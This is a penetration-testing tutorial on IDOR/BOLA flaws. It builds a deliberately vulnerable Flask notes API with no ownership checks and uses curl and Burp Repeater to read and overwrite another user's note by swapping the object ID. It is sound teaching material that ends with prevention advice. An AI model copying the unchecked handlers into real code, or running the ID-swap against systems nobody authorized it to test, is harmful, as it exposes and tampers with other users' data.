IDOR Vulnerability: Test Broken Object-Level Authorization with Burp Suite

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package python3-flask / Flask 3.1.3
curl
Burp Suite (Repeater proof)
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003 — Domain 4 (attacks and exploits), IDOR / broken access control
Privilege Normal user for Flask, curl, and Burp
Scope IDOR as an authorization failure, IDOR vs BOLA vs BFLA, two-account testing for read and write, Burp Repeater proof, UUID misconceptions, where object references appear, and prevention. Does not cover insecure deserialization or full GraphQL tooling deep-dives.
Related guides CSRF attack tutorial
Find hidden endpoints
Short on time?Beta Get the gist of this 13-minute read in seconds, then ask follow-up questions

Picture a hotel with room keys. The front desk checks your ID when you check in (authentication). That is not enough. Each key must only open your room (authorization on that specific object).

IDOR (insecure direct object reference) is the traditional name for flaws where an attacker-controlled object reference bypasses authorization. The app knows who you are, but still opens someone else’s “room” because you asked for room 202 instead of 101.

In APIs, OWASP uses the broader term BOLA (broken object level authorization) for object-level authorization failures. The testing method is often the same: keep one user’s authentication context and substitute another user’s object reference. Searchers still say IDOR; this lesson covers both.

You will:

  • Separate authentication from authorization
  • Spot the three ingredients of the bug
  • Run a Flask notes API with Alice and Bob
  • Prove unauthorized read (curl + Burp Repeater) and unauthorized write
  • See why UUIDs do not fix missing checks
  • Learn what to tell developers for remediation

This is not about packing objects into cookies (insecure deserialization). Here the data format is normal JSON. The failure is access control.

IMPORTANT
Run these steps only on systems you own or are authorized to test. Keep the lab on localhost or host-only per your rules of engagement. Do not enumerate other tenants’ objects outside written scope.

IDOR / BOLA is an authorization problem

Two different questions:

Question Name Example
Who are you? Authentication Login as Alice; session cookie proves Alice
May you touch this object? Authorization May Alice read note 202 owned by Bob?

Three ingredients

A testable case usually has all three:

Ingredient What to look for Lab example
Object reference id, orderId, UUID, filename, account number Note 101 or 202
User-controlled reference Path, query, JSON body, nested route, bulk array, GraphQL argument /api/notes/202
Missing or incorrect authorization No ownership check; check always true; wrong claim used Handler returns any note after login

IDOR, BOLA, and BFLA

Term How to use it
IDOR Classic name for direct-reference authorization flaws (often web apps and exam language)
BOLA OWASP API Security Top 10 category for broken object-level authorization (API1:2023)
BFLA Broken function-level authorization: the user should not reach the endpoint or admin function at all

IDOR and BOLA overlap heavily, but the terms are not perfectly interchangeable. IDOR describes direct-reference authorization flaws; BOLA is OWASP’s broader object-level authorization category for APIs. In a report, name both once if helpful, then stick to one label.

With BOLA/IDOR, calling /api/notes/202 may be allowed in general. Accessing Bob’s note 202 while logged in as Alice is not. That is different from BFLA, where a normal user should never call /admin/deleteUser at all.

IDOR is most commonly horizontal (same privilege tier, other user’s object). A direct object reference can also expose a higher-privileged user’s object and create vertical privilege escalation. Do not confuse that with BFLA, where the user should not have access to the function or endpoint at all.

Two authenticated users where Alice requests Bob object ID and the API returns Bob data

Predictable IDs (101, 102, 103) make discovery easier. They are not the root cause. A random UUID without an ownership check fails the same way.


Start the two-user notes API

You will run a tiny intentional vulnerable API. Alice owns note 101. Bob owns note 202. Login works. Fetching /api/notes/<id> only checks “are you logged in?”, not “do you own this note?”.

Confirm Flask

Check that Flask is importable:

bash
python3 -c 'from importlib.metadata import version; print(version("flask"))'

Sample output:

output
3.1.3

If the command fails, install the package on Kali:

bash
sudo apt install python3-flask

Confirm the version again after install.

Create the lab directory

Make a folder for the intentional vulnerable API:

bash
mkdir -p ~/web-labs/idor-vulnerability

Save the vulnerable API

Create ~/web-labs/idor-vulnerability/app.py with this content:

python
#!/usr/bin/env python3
from flask import Flask, jsonify, request, session
from uuid import UUID
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)

USERS = {
    "alice": {"password": "alicepass", "user_id": 1},
    "bob": {"password": "bobpass", "user_id": 2},
}

NOTES = {
    101: {
        "id": 101,
        "owner_id": 1,
        "title": "Alice private note",
        "body": "Alice salary draft",
        "uuid": "11111111-1111-4111-8111-111111111101",
    },
    202: {
        "id": 202,
        "owner_id": 2,
        "title": "Bob private note",
        "body": "Bob MFA backup codes",
        "uuid": "22222222-2222-4222-8222-222222222202",
    },
}
UUID_INDEX = {n["uuid"]: n for n in NOTES.values()}

@app.post("/login")
def login():
    data = request.get_json(silent=True) or {}
    u = USERS.get(data.get("username", ""))
    if not u or u["password"] != data.get("password"):
        return jsonify({"error": "invalid credentials"}), 401
    session.clear()
    session["username"] = data["username"]
    session["user_id"] = u["user_id"]
    return jsonify({"ok": True, "username": data["username"], "user_id": u["user_id"]})

@app.get("/api/notes/<int:note_id>")
def get_note(note_id: int):
    if "user_id" not in session:
        return jsonify({"error": "login required"}), 401
    note = NOTES.get(note_id)
    if not note:
        return jsonify({"error": "not found"}), 404
    return jsonify(note)  # vulnerable: no ownership check

@app.get("/api/notes/by-uuid/<uuid_str>")
def get_note_uuid(uuid_str: str):
    if "user_id" not in session:
        return jsonify({"error": "login required"}), 401
    try:
        UUID(uuid_str)
    except ValueError:
        return jsonify({"error": "invalid uuid"}), 400
    note = UUID_INDEX.get(uuid_str)
    if not note:
        return jsonify({"error": "not found"}), 404
    return jsonify(note)  # still vulnerable

@app.put("/api/notes/<int:note_id>")
def update_note(note_id: int):
    if "user_id" not in session:
        return jsonify({"error": "login required"}), 401
    note = NOTES.get(note_id)
    if not note:
        return jsonify({"error": "not found"}), 404
    data = request.get_json(silent=True) or {}
    if "title" in data:
        note["title"] = data["title"]
    if "body" in data:
        note["body"] = data["body"]
    return jsonify(note)  # vulnerable write

@app.get("/api/me/notes")
def my_notes():
    uid = session.get("user_id")
    if uid is None:
        return jsonify({"error": "login required"}), 401
    mine = [n for n in NOTES.values() if n["owner_id"] == uid]
    return jsonify({"notes": mine})  # correctly scoped

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=42011, debug=False)
Output

Endpoints you will use:

Endpoint Intended behavior Lab reality
POST /login Create a session Works
GET /api/notes/<id> Return a note Returns any note after login (broken)
PUT /api/notes/<id> Update a note Updates any note after login (broken)
GET /api/notes/by-uuid/<uuid> Same by UUID Still broken
GET /api/me/notes List my notes Correctly filtered by owner

Start Flask

Start the API on loopback port 42011. Leave this process running while you test:

bash
python3 ~/web-labs/idor-vulnerability/app.py

Open a second terminal for curl and Burp.

A cookie jar file stores session cookies so each account stays separate. -c writes cookies; -b sends them later.

Log in as Alice:

bash
curl -s -c /tmp/alice.jar -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"alicepass"}' http://127.0.0.1:42011/login

Sample output:

output
{"ok":true,"user_id":1,"username":"alice"}

Alice’s user_id is 1. She should own note 101.

Log in as Bob into a different jar:

bash
curl -s -c /tmp/bob.jar -H 'Content-Type: application/json' \
  -d '{"username":"bob","password":"bobpass"}' http://127.0.0.1:42011/login

Sample output:

output
{"ok":true,"user_id":2,"username":"bob"}

Bob’s user_id is 2. He should own note 202. Two jars give you two principals. That is stronger evidence than changing IDs while guessing who owns what.


Test IDOR with two accounts

First prove the happy path: Alice reads her own note.

bash
curl -s -b /tmp/alice.jar http://127.0.0.1:42011/api/notes/101

Sample output:

output
{"body":"Alice salary draft","id":101,"owner_id":1,"title":"Alice private note","uuid":"11111111-1111-4111-8111-111111111101"}

owner_id is 1, which matches Alice. So far the app looks normal.

Now keep Alice’s session and request Bob’s note 202:

bash
curl -s -b /tmp/alice.jar http://127.0.0.1:42011/api/notes/202

Sample output:

output
{"body":"Bob MFA backup codes","id":202,"owner_id":2,"title":"Bob private note","uuid":"22222222-2222-4222-8222-222222222202"}

What this proves:

  • Alice is authenticated
  • The notes endpoint is available to her
  • Bob’s private body still returned

That is horizontal privilege escalation: same privilege tier, other user’s object.

Prove the same read in Burp Repeater

Curl already showed the bug. Capture it in Burp Suite for report-quality evidence.

Burp Suite Repeater: Alice session GET /api/notes/202 to 127.0.0.1:42011 returning Bob private note JSON with owner_id 2

Steps:

  1. Point the browser at Burp’s proxy and log in as Alice against http://127.0.0.1:42011 (or import Alice’s session cookie into Repeater)
  2. Request GET /api/notes/101 so history has a working Alice call
  3. Send that request to Repeater
  4. Change the path from /api/notes/101 to /api/notes/202
  5. Keep Alice’s session cookie unchanged
  6. Click Send
  7. Confirm the response includes owner_id: 2, Bob’s title, and Bob’s body

For the report, keep both usernames, both object IDs, and both response bodies (or the Repeater screenshot plus curl transcripts).

When an API also supports delete or object-specific actions (share, approve, export), test those the same way: Alice’s session plus Bob’s object reference. This lab focuses on read and update; the method does not change for destroy or other actions.


Test read vs write IDOR

Unauthorized read hurts confidentiality. Unauthorized update, delete, or action hurts integrity (and sometimes availability). Test read, update, delete, and object-specific actions when they exist.

With Alice’s session, change Bob’s title:

bash
curl -s -b /tmp/alice.jar -X PUT -H 'Content-Type: application/json' \
  -d '{"title":"Hijacked by Alice"}' http://127.0.0.1:42011/api/notes/202

Sample output:

output
{"body":"Bob MFA backup codes","id":202,"owner_id":2,"title":"Hijacked by Alice","uuid":"22222222-2222-4222-8222-222222222202"}

Confirm from Bob’s session that the change stuck:

bash
curl -s -b /tmp/bob.jar http://127.0.0.1:42011/api/notes/202

Sample output:

output
{"body":"Bob MFA backup codes","id":202,"owner_id":2,"title":"Hijacked by Alice","uuid":"22222222-2222-4222-8222-222222222202"}

Bob sees Alice’s title. Rate write IDOR separately from read IDOR when you report:

  • Read IDOR: disclosure of another user’s data
  • Write IDOR: tampering with another user’s data

Restore Bob’s note after you capture evidence:

bash
curl -s -b /tmp/alice.jar -X PUT -H 'Content-Type: application/json' \
  -d '{"title":"Bob private note","body":"Bob MFA backup codes"}' \
  http://127.0.0.1:42011/api/notes/202

Sample output:

output
{"body":"Bob MFA backup codes","id":202,"owner_id":2,"title":"Bob private note","uuid":"22222222-2222-4222-8222-222222222202"}

The original title is back. Continue with UUID testing on a clean object.


Why UUIDs do not prevent IDOR

Developers sometimes say “we switched to UUIDs, so IDOR is fixed.” That only slows blind guessing. It does not enforce ownership.

If Alice learns Bob’s UUID from another API response, an email, or an export, the same missing check applies.

Request Bob’s note by UUID while still using Alice’s jar:

bash
curl -s -b /tmp/alice.jar \
  http://127.0.0.1:42011/api/notes/by-uuid/22222222-2222-4222-8222-222222222202

Sample output:

output
{"body":"Bob MFA backup codes","id":202,"owner_id":2,"title":"Bob private note","uuid":"22222222-2222-4222-8222-222222222202"}

Same authorization failure, different identifier shape. Object IDs can be integers, UUIDs, or generic strings. Authorization must still run on every object operation.


Where object references appear

Hunt for client-controlled object references in:

Location Examples
URL path / query /orders/55, ?docId=55
Nested resource /users/12/orders/88
JSON body {"accountId":"…"}
Bulk request {"documentIds":[101,202,303]}
GraphQL node(id: …), filter arguments
Files /files/<name>, attachment IDs
Headers less common custom IDs

For each candidate, repeat the same swap:

  1. Log in as User A
  2. Learn an object ID that belongs to User B
  3. Replay User A’s session against User B’s object
  4. Compare with User B’s own access

For nested routes, swap either the parent ID, the child ID, or both. For bulk bodies, include a neighbor’s ID in the array and see whether the API returns or changes that object.

What a correct check looks like on this lab

GET /api/me/notes filters by the session user_id:

bash
curl -s -b /tmp/alice.jar http://127.0.0.1:42011/api/me/notes

Sample output:

output
{"notes":[{"body":"Alice salary draft","id":101,"owner_id":1,"title":"Alice private note","uuid":"11111111-1111-4111-8111-111111111101"}]}

Only Alice’s note appears. Use that contrast when you explain remediation: scope the query to the current user (or tenant), do not “fetch by id and hope.”


Use Burp Repeater and Intruder

Tool Role in IDOR testing
Repeater Best for the definitive two-account proof (swap ID, keep session)
Intruder Optional controlled enumeration of IDs after logic is confirmed and RoE allows it
Proxy history Find candidate object references across the app map

Prefer Repeater for report evidence (you already captured Alice → Bob’s note above). Intruder against large ID spaces without scope approval is easy to overdo. When you enumerate:

  • Throttle requests
  • Stay inside agreed ID ranges
  • Log what you touched

Reporting tip: if stakeholders search “IDOR” but the finding is an API, mention BOLA once in the title or first paragraph, then use one consistent label in the rest of the write-up.


Prevention

The essential fix is the authorization check on every object operation. Whether an unauthorized object returns 403 or 404 is a secondary information-disclosure decision; changing the status code alone does not fix IDOR.

Fix authorization, not only ID formats:

  • Check ownership (or tenant rights) on every object read, update, delete, and action
  • Scope database queries with owner/tenant filters
  • Do not treat hidden, sequential, or UUID identifiers as access control
  • Choose 403 vs 404 deliberately for your threat model after the check exists
  • Add automated two-user tests that fail the build when cross-object access succeeds
  • Review GraphQL resolvers, nested routes, and bulk endpoints with the same object-level checks

Troubleshooting

Symptom Likely cause Fix
No module named flask / version command fails Flask not installed sudo apt install python3-flask, then recheck the version
Connection refused on :42011 Flask not running Start python3 …/app.py again
login required on note fetch Cookie jar empty or wrong Re-run /login into that jar; use -b with the same file
Both users see empty notes Wrong passwords or reset state Use alicepass / bobpass; restart Flask
UUID path returns 400 Malformed UUID string Paste the lab UUIDs exactly
Intruder finds nothing IDs not sequential or out of scope Start from known User B IDs from real responses
Confused with CSRF Browser forced action vs ID swap CSRF forges the victim’s browser request; IDOR abuses authorized API calls with swapped object IDs

Summary

IDOR describes direct-reference authorization flaws. BOLA is OWASP’s broader API name for broken object-level authorization. Both point at the same testing habit: authenticate as User A, request User B’s object, and prove the server skipped ownership checks.

On this lab, Alice retrieved and renamed Bob’s note by numeric ID and by UUID. Burp Repeater documents the same read proof for stakeholders who expect a proxy workflow. /api/me/notes showed what a correctly scoped list looks like.

When you report, attach both identities, both object references, and before/after responses. Ask for an authorization check on every object operation, including nested and bulk APIs. Status-code tuning comes after that check. For serialized-object trust issues rather than ID swaps, use the insecure deserialization lesson.


References


Frequently Asked Questions

What is an IDOR vulnerability?

It is when a server uses a client-supplied object reference without verifying that the current user may access that object. The result is unauthorized read, change, or action on someone else’s data.

Is IDOR the same as BOLA?

They overlap heavily, but the terms are not perfectly interchangeable. IDOR describes direct-reference authorization flaws. BOLA is OWASP API Security’s broader object-level authorization category. The usual test is the same: one user’s session plus another user’s object ID.

Why is two-account testing better than changing id=1 to id=2?

Two accounts prove which principal owns which object and show cross-user access clearly. Blind ID changes without known ownership make false positives and weak evidence more likely.

Do UUIDs prevent IDOR?

No. UUIDs make guessing harder but do not authorize. If the attacker obtains a valid UUID, a missing ownership check still exposes the object.

What is the difference between horizontal and vertical IDOR?

Horizontal usually means same privilege tier, other user’s object. A direct reference can also expose a higher-privileged user’s object and create vertical privilege escalation. That is still different from BFLA, where the user should not reach the function or endpoint at all.

Does returning 404 instead of 403 fix IDOR?

No. The essential fix is the authorization check. Choosing 403 or 404 only affects how much existence information you leak after that check fails.

Should I use Burp Intruder for every IDOR test?

Use Repeater for the definitive proof. Use Intruder only for controlled enumeration after the logic is confirmed and your rules of engagement allow it.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)